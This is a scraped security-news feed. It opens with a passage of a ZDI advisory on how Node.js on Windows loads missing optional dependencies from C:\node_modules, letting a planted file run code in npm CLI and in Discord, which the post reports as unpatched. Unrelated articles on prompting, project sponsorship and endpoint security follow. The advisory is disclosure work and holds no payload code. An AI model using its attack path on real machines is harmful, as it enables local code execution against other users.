<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
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<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png" data-image-dimensions="1007x497" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w" width="1007" height="497" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png" data-image-dimensions="1662x798" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w" width="1662" height="798" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
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          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>


  














  
    
      
    
    
      
        
          
          
        
      
      
      



    
  








  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
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<title><![CDATA[From Principles to Practice: Actionable Blueprints for Ethical AI]]></title>
<description><![CDATA[Part 2 of this series on ethical AI looks at operationalizing trust with clear prompting framework and robust data governance for your public- or private-sector organization.]]></description>
<link>https://tsecurity.de/de/3694401/it-security-nachrichten/from-principles-to-practice-actionable-blueprints-for-ethical-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694401/it-security-nachrichten/from-principles-to-practice-actionable-blueprints-for-ethical-ai/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Part 2 of this series on ethical AI looks at operationalizing trust with clear prompting framework and robust data governance for your public- or private-sector organization.]]></content:encoded>
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<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



